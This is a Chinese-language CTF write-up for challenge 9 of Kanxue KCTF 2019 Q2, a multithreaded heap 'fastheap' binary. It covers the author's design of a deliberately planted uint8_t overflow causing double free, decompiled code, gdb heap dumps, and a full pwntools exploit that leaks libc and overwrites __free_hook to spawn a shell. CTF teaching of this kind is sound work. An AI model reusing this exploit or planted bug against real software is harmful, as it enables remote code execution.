看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

Editor發表於2019-07-04


比賽刺激瞬間似乎猶在眼前,驀然回望,才發現我們一起相伴走過了如此漫長的一段精彩旅途。不知不覺,我們看雪紐盾KCTF第二賽段的賽題解析也已經接近尾聲。


庸人無一用,圖有空憑欄。英雄志氣滿,絕地也逃生。今天我們一起來看下第九題,看看勇士們如何衝破枷鎖,絕地逃生~



題目簡介


題目背景:


外星人的攻擊速度遠遠超過想象。他們的魔爪已經伸向了南極。


一片白色的荒原,沒有綠色的草地,沒有怒放的花朵,只有白皚皚的雪山和隨時可能裂開的冰面。沒有什麼比一個人站在這裡更令人絕望了。


能量寶石位於南極的最高峰——文森峰。這裡山勢險峻,且大部分終年被冰雪覆蓋,交通困難,被稱為“死亡地帶”。


前有惡劣的環境,後有外星人的攻擊。怎麼樣能夠絕地逃生呢?就看你的了!


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


本題共有1683人圍觀,截至比賽結束只有12人攻破此題。縱觀全域性,這道題還是很有難度的。


攻破此題的戰隊一覽:


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


接下來我們來對題目進行詳細解析。



看雪評委crownless點評


這道題目關鍵點在於多執行緒所導致的uint8_t型別的整型溢位,進而導致double free。然後構造UAF洩漏Libc地址,再poison tcache寫__free_hook可getshell。



出題團隊簡介



本題出題戰隊 2019 :


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

計算機系學生,剛剛畢業,即將前往盤古實驗室做安全研究。Pwn愛好者,對學術界的前沿安全相關研究很感興趣,雖然目前還是蔡雞一隻。




設計思路


0x00 概要

題目實現了一個多執行緒free的功能,這道題目關鍵點在於多執行緒所導致的uint8_t型別的整型溢位,進而導致double free。然後構造UAF洩漏Libc地址,再poison tcache寫__free_hook可getshell。


0x01 漏洞點


這題比上次那題還要簡單,靈感來源於上architecture課教授slides裡面的一個pseudocode,大概長這樣:


if(myThreadId() ==0)
i =0;
barrier();
// on each thread
while(true)
{
local_i = FetchAndAdd(&i);
if(local_i >= N)break;//integer overflow
C[local_i] =0.5*(A[local_i] + B[local_i]);
}
barrier();


然後我就在想這個如果FetchAndAdd函式能導致整型溢位的話,是否可以導致可利用的漏洞,於是就有了我這道題。

然後漏洞點在這裡,程式碼跟上面的虛擬碼很像,只不過一些無關的東西刪掉了。


void*free_thread(void* varg)
{
thread_arg* arg = (thread_arg*)varg;
uint8_t* i = &arg->iter;
volatilesize_tidx;
while(true)
{
idx = __sync_fetch_and_add(i,1);
if(idx >= arg->bound)//整型溢位
break;
if(data[idx])
free(data[idx]);
else
exit(-1);
}
returnNULL;
}


當bound的值很大的時候,比方說,刪除範圍254-255的時候,如果有兩個執行緒,執行緒1free了data[254],執行緒2255 >= 255所以退出,而執行緒1這個時候__sync_fetch_and_add溢位到0,這個時候會把0到254的所有elements又free了一次,等於導致了double free。



0x02 利用


這裡我稍微增加了一下難度,就是如果有空指標就會退出,所以得先把那些項都佔滿。


然後注意,線上程中freechunk時會加到那個執行緒自己的tcache,然後執行緒退出時這些chunks會被放回fastbin或者unsortedbin而不是主執行緒的tcache。所以把index 0設定為unsortedbin大小可以直接leak libc的地址。

然後因為所有indeces都被佔滿了,這樣就沒有能用的index可以做poison了,所以得先把他們clear掉,但是在那之前得把最頂上的chunk(這時是index 1)先拿出來(所以data[254]==data[1]),方便到時候做poison利用。

然後用fastbin dup把0x70的fastbin汙染了,創造出這種情況a -> b -> a,但這個時候tcache也是滿的,這個時候malloc 4個tcache可以創造出這種情況a -> b -> &__free_hook,然後就可以寫free hook執行system了。

不過有一點要注意,因為多執行緒,難免會有條件競爭,所以成功率並不是100%,不過也不低就是了。

環境:

libc2.27,md5=50390b2ae8aaa73c47745040f54e602f



解題思路


本題解題思路由看雪論壇X3h1n提供:


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路



題目描述


這道題目也是傳統的選單題目,有三個功能,add、fast free和show功能。libc是2.27,有tcache。


$ ./fastheap
1.malloc
2.fastfree
3.puts
4.exit
>>>


其中malloc功能雖然對堆塊的數量沒有明確的限制,但是因為堆塊的索引是unsigned __int8型別,因此堆塊的所以範圍為0-255,因此最多可以申請256個堆塊。


size的型別同樣也是unsigned __int8型別,因此輸入的size最大為0xff,堆塊大小最大為0x110。在bss段有一個全域性的heap_list儲存堆塊的地址。接受使用者輸入的read函式很嚴格,沒有常見的off-by-one的漏洞。


signed__int64add()
{
__int64 idx;// rbx
size_tsize;// rbp
signed__int64 result;// rax
unsigned__int64 v3;// rt1
unsigned__int64 v4;// [rsp+8h] [rbp-20h]

v4 = __readfsqword(0x28u);
_printf_chk(1LL,"Index: ");
idx = (unsigned__int8)my_atoi();
if( heap_list[idx] )
exit(-1);
_printf_chk(1LL,"Size: ");
size = (unsigned__int8)my_atoi();
heap_list[idx] = check(size);
_printf_chk(1LL,"Contents: ");
if( !size )
return__readfsqword(0x28u) ^ v4;
v3 = __readfsqword(0x28u);
result = v3 ^ v4;
if( v3 == v4 )
result = my_read(heap_list[idx], size);
returnresult;
}


fast free要求輸入一個索引範圍,然後建立執行緒來進行堆塊的釋放,使用者可以控制執行緒的數量,最多為8個,釋放後清空bss段對應的堆指標,如果執行緒為0就不會釋放直接清空heap_list。


在start_routine中有這麼一段程式碼來保證只有一個執行緒對指定堆塊進行釋放。start_routine傳入的引數是a1是end_index,a1+8正好是start_index的位置。


在彙編中lock xadd是交換兩個運算元的值,然後相加,結果就是start_index++, v2是start_index的初始值,只有當原始的start_index < end_index時,才進行堆塊的釋放。


因為每次start_index++是一個原子操作,從而保證只有一個執行緒對堆塊進行釋放。


void*__fastcallstart_routine(void*a1)
{
unsigned__int64 v2;// [rsp+0h] [rbp-28h]

while(1)
{
v2 = (unsigned__int8)_InterlockedExchangeAdd8((volatilesigned__int8 *)a1 +8,1u);
if( *(_QWORD *)a1 <= v2 )
break;
if( !heap_list[v2] )
exit(-1);
free((void*)heap_list[v2]);
}
return0LL;
}


彙編程式碼如下:


.text:0000000000000C6Floc_C6F: ;CODEXREF:start_routine+1D↑j
.text:0000000000000C6Fmoveax,1
.text:0000000000000C74lockxadd[rbx],al//交換運算元,相加,start_index++
.text:0000000000000C78movzxeax,al
.text:0000000000000C7Bmov[rsp+28h+var_28],rax
.text:0000000000000C7Fmovrax,[rsp+28h+var_28]
.text:0000000000000C83cmp[rbp+0],rax//比較end_index和未加1的start_index
.text:0000000000000C87jashortloc_C50//當start_index < end_index時才進行free
.text:0000000000000C89xoreax,eax
.text:0000000000000C8Bmovrcx,[rsp+28h+var_20]
.text:0000000000000C90xorrcx,fs:28h
.text:0000000000000C99jnzshortloc_CAC
.text:0000000000000C9Baddrsp,18h
.text:0000000000000C9Fpoprbx
.text:0000000000000CA0poprbp
.text:0000000000000CA1retn


這樣保證只有一個執行緒會釋放指定的堆塊。不會導致雙重釋放(開始是這樣認為的,但是後來的確出現了double free...)show函式會判斷對應的heap_list是否非空,不能UAF。


執行緒堆


這裡涉及到了執行緒堆的知識,第一次遇到這種題目,這次還是主程式分配,執行緒釋放堆塊。ptmalloc使用mmap()函式為執行緒建立自己的非主分配區來模擬堆(sub_heap),當該sub_heap用完之後,會再使用mmap()分配一塊新的記憶體塊作為sub_heap。


當程式中有多個執行緒時,一定也有多個分配區,但是每個分配區都有可能被多個執行緒使用。具體關於執行緒堆的知識可以看參考裡的部落格。


另外這道題目有一個至今沒有明白的點,當執行緒釋放完指定堆塊還沒有退出時,堆塊是進入了程式的tcache,但是當執行緒退出後,這個堆塊就進入了主程式的對應的fastbin。


比如,申請一個0x70和0x30的堆塊,釋放idx0,釋放之前堆塊的狀態:


gdb-peda$ parseheap
addr prev size status fd bk
0x55c118339000 0x0 0x250 UsedNoneNone
0x55c118339250 0x0 0x70 UsedNoneNone
0x55c1183392c0 0x0 0x30 UsedNoneNone


釋放idx0,workers=1,在free下斷點,finish完成後堆塊進執行緒的tcache。


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


執行緒退出後,該堆塊在fastbin中:


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


對執行緒堆的知識瞭解太少了,不知道是什麼原因,猜測是因為執行緒的非主分配區複用導致的。希望可以看其他大佬的wp學習一波。


利用過程


由於有tcache,只要能構造出double free,由於tcache在分配時沒有對tcache鏈中的chunk進行size的檢查,所以就可以fd指向malloc_hook或free_hook。


但這道題目對heap_list進行了清空,不能double free。但是感覺執行緒這裡肯定有問題,在和隊友的多次嘗試後發現建立多個堆塊,然後都釋放掉,竟然出現了double free:


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

fori inrange(250):
add(i,0x60,'aaaa\n')
delete(0,250,8)


出現了double free應該就能利用了吧,但是還缺少libc。本來想著先在申請這250個堆塊之前先申請兩個堆塊(大小分別為0x70和0xa0)試一下,想辦法洩露libc,但是發現沒有對這兩個塊進行釋放,free完那250個堆塊後,0x70的堆塊idx0進入了fastbin,0xb0的堆塊idx1進入了unsortedbin了。這...利用條件都具備了,直接show(1)就可以洩露libc。


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

fori inrange(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)


但是當試圖再次申請tcache裡的這250個堆塊時,發現只要申請到第248個堆塊時,bins的分佈如下:


gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0


再試圖分配第249個塊時,就直接越過了fastbin裡的前5個chunk,去分配0xfff785c410000000這個堆塊,前5個堆塊進入了tcache:


gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](4): 0x7ffff7bb0c1d --> 0x555555757380 --> 0x555555757620 --> 0x555555757690
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0


沒法利用這250個堆塊的double free,但是可以利用前2個堆塊未釋放就進入unsorted bin的狀態進行double free。


首先申請兩個堆塊和250個堆塊,釋放250個,起7個執行緒,idx0進入fastbin中,idx1進入unsortedbin中。show(1)洩露libc。


add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

fori inrange(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)

#gdb.attach(p)
show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] -0x70
print"libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base +0x4f322
system_addr = libc_base + libc.symbols["system"]


此時bins的分佈如下:


gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x555555757370 --> ...-> 0x555555757370 (overlap chunk with 0x555555757370(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0


當再次分配0x60的堆塊時,會先從unsorted bin中取出堆塊,再從fastbin中分配,idx0和idx2的地址相同,可以進行double free。


add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')


檢視heap_list如下:


gdb-peda$x /8gx 0x0000555555554000+0x202060
0x555555756060: 0x0000555555757260 0x00005555557572d0
0x555555756070: 0x0000555555757260 0x000055555575e070
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000


後面就是double free,但是在double free時,tcache 0x70中又出現了6個堆塊,就很神奇,要先把tcache清空之後才能分配fastbin裡的堆塊。


delete(0,1,1)
delete(3,4,1)
delete(2,3,1)


tcache 0x70中有6個堆塊:


gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x55555575e060 --> 0x555555757250 (overlap chunk with 0x555555757250(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](6): 0x5555557575b0 --> 0x555555757540 --> 0x5555557574d0 --> 0x555555757460 --> 0x5555557573f0 --> 0x555555757380
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0


最後修改free_hook為system,釋放一個寫有"/bin/sh\x00"的塊,這裡再修改地址完成之後,是手動輸入進行堆塊idx11的刪除觸發system("/bin/sh")的,最後get shell。


因為在tcache清空之後,fastbin的堆塊進入了tcache中,因此free_hook才能避過fastbin中size的檢查,分配並修改成功。


完整exp如下:


from pwn import *


context.log_level ="debug"
context.terminal = ["tmux","split","-h"]

DEBUG =0

ifDEBUG:
p= process("./fastheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p= remote("152.136.18.34",10000)
libc = ELF("./libc-2.27.so")


defadd(idx,size,content):
p.recvuntil(">>> ")
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Contents: ")
p.send(content)


defdelete(start,end,worker):
p.recvuntil(">>> ")
p.sendline('2')
p.recvuntil("Index range: ")
p.sendline(str(start)+'-'+str(end))
p.recvuntil("Number of workers: ")
p.sendline(str(worker))

def show(idx):
p.recvuntil(">>> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))



add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

fori inrange(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)


#gdb.attach(p)

show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] -0x70
print"libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base +0x4f322
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]

add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')

##double free
delete(0,1,1)
delete(3,4,1)
delete(2,3,1)

##empty tcache
fori inrange(6):
add(i+2,0x60,p64(malloc_hook-0x23)+'\n')

##free_hook->system
add(9,0x60,p64(free_hook)+'\n')
add(10,0x60,p64(free_hook)+'\n')
add(11,0x60,"/bin/sh\x00"+'\n')
add(12,0x60,p64(system_addr))

##manual trigger
delete(11,12,1)

p.interactive()


目前對執行緒的知識瞭解有限,還在惡補當中,這篇wp只是記錄了做題的過程,感覺這道題有太多神奇的地方,做出這道題也是憑運氣好,希望大佬們指點。


END


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

主辦方

看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

看雪學院(www.kanxue.com)是一個專注於PC、移動、智慧裝置安全研究及逆向工程的開發者社群!建立於2000年,歷經19年的發展,受到業內的廣泛認同,在行業中樹立了令人尊敬的專業形象。平臺為會員提供安全知識的線上課程教學,同時為企業提供智慧裝置安全相關產品和服務。 



合作伙伴



看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

上海紐盾科技股份有限公司(www.newdon.net)成立於2009年,是一家以“網路安全”為主軸,以“科技源自生活,紐盾服務社會”為核心經營理念,以網路安全產品的研發、生產、銷售、售後服務與相關安全服務為一體的專業安全公司,致力於為數字化時代背景下的使用者提供安全產品、安全服務以及等級保護等安全解決方案。



看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路



10大議題正式公佈!第三屆看雪安全開發者峰會重磅來襲!


看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路

看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路小手一戳,瞭解更多



詳情連結: https://www.bagevent.com/event/2195041?code=001XDhzT03M9N02MFsBT01Z2zT0XDhzb&amp;state=STATE

相關文章